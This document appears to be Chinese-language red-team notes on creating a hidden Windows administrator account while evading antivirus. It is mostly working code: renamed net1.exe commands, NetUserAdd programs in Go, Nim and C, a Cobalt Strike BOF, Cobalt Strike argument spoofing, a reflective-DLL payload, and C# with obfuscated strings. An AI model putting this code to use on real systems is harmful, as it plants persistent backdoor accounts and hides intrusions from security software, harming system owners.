主要参考火绒和360

正常添加用户指令

  1. net user admin123 admin123!@#123 /add
  2. net localgroup administrators admin123 /add

改名

  1. copy c:\windows\system32\net1.exe C:\ProgramData\net1.txt
  2. C:\ProgramData\net1.txt user admin123 admin123!@#123 /add & C:\ProgramData\net1.txt localgroup administrators admin123 /add

Windows API添加用户

  1. package main
  2. import (
  3. "syscall"
  4. "unsafe"
  5. )
  6. type (
  7. DWORD uint32
  8. LPWSTR uintptr
  9. )
  10. const (
  11. USER_PRIV_USER = 1
  12. UF_SCRIPT = 0x0001
  13. NERR_Success = 0
  14. )
  15. type USER_INFO_1 struct {
  16. usri1_name LPWSTR
  17. usri_password LPWSTR
  18. usri1_password_age DWORD
  19. usri1_priv DWORD
  20. usri1_home_dir LPWSTR
  21. usri1_comment LPWSTR
  22. usri1_flags DWORD
  23. usri1_script_path LPWSTR
  24. }
  25. type _LOCALGROUP_USERS_INFO_0 struct {
  26. lgrui0_name LPWSTR
  27. }
  28. var (
  29. Netapi32, _ = syscall.LoadLibrary("Netapi32.dll")
  30. NetUserAdd, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetUserAdd")
  31. NetLocalGroupAddMembers, _ = syscall.GetProcAddress(syscall.Handle(Netapi32), "NetLocalGroupAddMembers")
  32. dwError DWORD = 0
  33. user USER_INFO_1 = USER_INFO_1{}
  34. account _LOCALGROUP_USERS_INFO_0 = _LOCALGROUP_USERS_INFO_0{}
  35. )
  36. func add_user_To_the_admin_group() {
  37. user.usri1_name = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("test57")))
  38. user.usri_password = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("P@sss!111")))
  39. user.usri1_priv = USER_PRIV_USER
  40. user.usri1_flags = UF_SCRIPT
  41. if a, _, _ := syscall.Syscall6(NetUserAdd, 4, 0, 1, uintptr(unsafe.Pointer(&user)), uintptr(dwError), 0, 0); a == 0 {
  42. println("添加用户成功!")
  43. } else {
  44. println("添加用户失败")
  45. }
  46. account.lgrui0_name = user.usri1_name
  47. var admin_group LPWSTR
  48. admin_group = LPWSTR(unsafe.Pointer(syscall.StringToUTF16Ptr("Administrators")))
  49. if d, _, _ := syscall.Syscall6(NetLocalGroupAddMembers, 5, 0, uintptr(admin_group), 3, uintptr(unsafe.Pointer(&account)), 1, 0); d == NERR_Success {
  50. println("添加用户到管理员组成功!")
  51. } else {
  52. println("添加用户到管理员组失败")
  53. }
  54. defer func() {
  55. syscall.FreeLibrary(Netapi32)
  56. }()
  57. }
  58. func main() {
  59. add_user_To_the_admin_group()
  60. }

可以利用不同的语言进行编写

  1. import winim/lean
  2. import winim/inc/lm
  3. var userInfos = USER_INFO_1(
  4. usri1_name: "test123",
  5. usri1_password: "TestPass123@",
  6. usri1_priv: USER_PRIV_USER,
  7. usri1_flags: UF_SCRIPT
  8. )
  9. var account = LOCALGROUP_MEMBERS_INFO_3(
  10. lgrmi3_domainandname: userInfos.usri1_name
  11. )
  12. var dwError = DWORD 0
  13. var retVal = NetUserAdd(nil, 1, cast[LPBYTE](&userInfos), &dwError)
  14. if retVal != NERR_Success:
  15. echo retVal
  16. else:
  17. echo "[+]User Add Successful !!!"
  18. var fiVal = NetLocalGroupAddMembers(nil, "Administrators", 3, cast[LPBYTE](&account), 1)
  19. if fiVal != NERR_Success:
  20. echo fiVal
  21. else:
  22. echo "[+]User Add to Administrator Group Successful !!!"
  1. #include "stdafx.h"
  2. #ifndef UNICODE
  3. #define UNICODE
  4. #endif
  5. #pragma comment(lib,"netapi32")
  6. #include <stdio.h>
  7. #include <windows.h>
  8. #include <lm.h>
  9. int wmain(int argc, wchar_t *argv[])
  10. {
  11. USER_INFO_1 UserInfo;
  12. DWORD dwLevel = 1;
  13. DWORD dwError = 0;
  14. UserInfo.usri1_name = L"test$"; // 账户
  15. UserInfo.usri1_password = L"Test@#123"; // 密码
  16. UserInfo.usri1_priv = USER_PRIV_USER;
  17. UserInfo.usri1_home_dir = NULL;
  18. UserInfo.usri1_comment = NULL;
  19. UserInfo.usri1_flags = UF_SCRIPT;
  20. UserInfo.usri1_script_path = NULL;
  21. NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);
  22. LOCALGROUP_MEMBERS_INFO_3 account;
  23. account.lgrmi3_domainandname = UserInfo.usri1_name;
  24. NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  25. return 0;
  26. }

使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。 需要administrator权限

利用SAM API进行添加用户

https://idiotc4t.com/redteam-research/netuseradd-ni-xiang

本质是对NetUserAdd的逆向,进行更底层的利用

CS BOF执行

  1. #ifndef UNICODE
  2. #define UNICODE
  3. #endif
  4. #include <windows.h>
  5. #include <lm.h>
  6. #include "beacon.h"
  7. typedef DWORD NET_API_STATUS;
  8. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR,DWORD,PBYTE,PDWORD);
  9. DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR,LPCWSTR,DWORD,PBYTE,DWORD);
  10. void go(char * args, int alen) {
  11. USER_INFO_1 UserInfo;
  12. DWORD dwLevel = 1;
  13. DWORD dwError = 0;
  14. UserInfo.usri1_name = (TCHAR*)L"test123"; // 账户
  15. UserInfo.usri1_password = (TCHAR*)L"Test@#123"; // 密码
  16. UserInfo.usri1_priv = USER_PRIV_USER;
  17. UserInfo.usri1_home_dir = NULL;
  18. UserInfo.usri1_comment = NULL;
  19. UserInfo.usri1_flags = UF_SCRIPT;
  20. UserInfo.usri1_script_path = NULL;
  21. NET_API_STATUS nStatus;
  22. nStatus = NETAPI32$NetUserAdd(
  23. NULL,
  24. dwLevel,
  25. (LPBYTE)&UserInfo,
  26. &dwError
  27. );
  28. if(nStatus == NERR_Success){
  29. BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added", NULL);
  30. }else{
  31. BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);
  32. }
  33. LOCALGROUP_MEMBERS_INFO_3 account;
  34. account.lgrmi3_domainandname = UserInfo.usri1_name;
  35. NET_API_STATUS aStatus;
  36. aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  37. if(aStatus == NERR_Success){
  38. BeaconPrintf(CALLBACK_OUTPUT, "User has been successfully added to Administrators", NULL);
  39. }else{
  40. BeaconPrintf(CALLBACK_OUTPUT, "User added to Administrators error ", NULL);
  41. }
  42. }

CS Argue参数欺骗

  1. argue 进程参数欺骗
  2. argue [command] [fake arguments]
  3. argue 命令 假参数 欺骗某个命令参数
  4. argue [command]
  5. argue 命令 取消欺骗某个命令参数
  6. beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass
  7. beacon> run net1 user admin123 admin123!@#123 /add
  8. beacon> run net1 localgroup administrators admin123 /add

CS 利用反射dll注入

  1. #include "ReflectiveLoader.h"
  2. #include "framework.h"
  3. #include <stdio.h>
  4. extern "C" HINSTANCE hAppInstance;
  5. BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
  6. {
  7. USER_INFO_1 ui;
  8. DWORD dwError = 0;
  9. ui.usri1_name = (TCHAR*)L"lengyis";
  10. ui.usri1_password = (TCHAR*)L"biweilun";
  11. ui.usri1_priv = USER_PRIV_USER;
  12. ui.usri1_home_dir = NULL;
  13. ui.usri1_comment = NULL;
  14. ui.usri1_flags = UF_DONT_EXPIRE_PASSWD | UF_PASSWD_CANT_CHANGE;;//用户不能更改密码,密码永不过期
  15. ui.usri1_script_path = NULL;
  16. NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
  17. wchar_t szAccountName[20] = { 0 };
  18. switch (ul_reason_for_call)
  19. {
  20. case DLL_QUERY_HMODULE:
  21. if (lpReserved != NULL)
  22. {
  23. *(HMODULE*)lpReserved = hAppInstance;
  24. }
  25. break;
  26. case DLL_PROCESS_ATTACH:
  27. hAppInstance = hModule;
  28. if (!lpReserved != NULL)
  29. {
  30. printf("Parameter passed to Reflective DLL: %s", (char*)lpReserved);
  31. }
  32. else
  33. {
  34. printf("No parameter passed to Reflective DLL");
  35. }
  36. const wchar_t* name;
  37. name = (const wchar_t*)L"lengyis";
  38. wcscpy_s(szAccountName, name);
  39. LOCALGROUP_MEMBERS_INFO_3 account;
  40. account.lgrmi3_domainandname = szAccountName;
  41. NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  42. fflush(stdout);
  43. ExitProcess(0);
  44. break;
  45. case DLL_THREAD_ATTACH:
  46. case DLL_THREAD_DETACH:
  47. case DLL_PROCESS_DETACH:
  48. break;
  49. }
  50. return TRUE;
  51. }

Csharp 利用windows目录添加用户

利用DirectoryServices进行添加

  1. using System;
  2. using System.DirectoryServices;
  3. namespace NoApiUser
  4. {
  5. // Token: 0x02000002 RID: 2
  6. internal class Program
  7. {
  8. // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
  9. public static string decode(string str)
  10. {
  11. string text = "";
  12. for (int i = 0; i < str.Length; i++)
  13. {
  14. text += (str[i] - '\n' + '\u0002').ToString();
  15. }
  16. return text;
  17. }
  18. // Token: 0x06000002 RID: 2 RVA: 0x00002094 File Offset: 0x00000294
  19. private static void Main(string[] args)
  20. {
  21. string text = Program.decode("piksmz");
  22. string text2 = Program.decode("ijk9:;)");
  23. string text3 = Program.decode("Iluqvq{|zi|wz{");
  24. try
  25. {
  26. using (DirectoryEntry directoryEntry = new DirectoryEntry(Program.PATH))
  27. {
  28. using (DirectoryEntry directoryEntry2 = directoryEntry.Children.Add(text, "User"))
  29. {
  30. directoryEntry2.Properties["FullName"].Add(text);
  31. directoryEntry2.Invoke("SetPassword", new object[] { text2 });
  32. directoryEntry2.Invoke("Put", new object[] { "Description", "Internet User" });
  33. directoryEntry2.Invoke("Put", new object[] { "UserFlags", 66049 });
  34. directoryEntry2.CommitChanges();
  35. }
  36. }
  37. Console.WriteLine(string.Concat(new string[] { "[+]Add User: ", text, " password: ", text2, " Successful!" }));
  38. }
  39. catch (Exception ex)
  40. {
  41. throw new Exception(ex.Message);
  42. }
  43. try
  44. {
  45. using (DirectoryEntry directoryEntry3 = new DirectoryEntry(Program.PATH))
  46. {
  47. using (DirectoryEntry directoryEntry4 = directoryEntry3.Children.Find(text, "User"))
  48. {
  49. using (DirectoryEntry directoryEntry5 = directoryEntry3.Children.Find(text3, "group"))
  50. {
  51. if (directoryEntry5.Name != "")
  52. {
  53. directoryEntry5.Invoke("Add", new object[] { directoryEntry4.Path.ToString() });
  54. directoryEntry5.CommitChanges();
  55. }
  56. }
  57. }
  58. Console.WriteLine(string.Concat(new string[] { "[+]Add User: ", text, " to ", text3, " Successful!" }));
  59. }
  60. }
  61. catch (Exception ex2)
  62. {
  63. throw new Exception(ex2.Message);
  64. }
  65. }
  66. // Token: 0x04000001 RID: 1
  67. private static readonly string PATH = "WinNT://" + Environment.MachineName;
  68. }
  69. }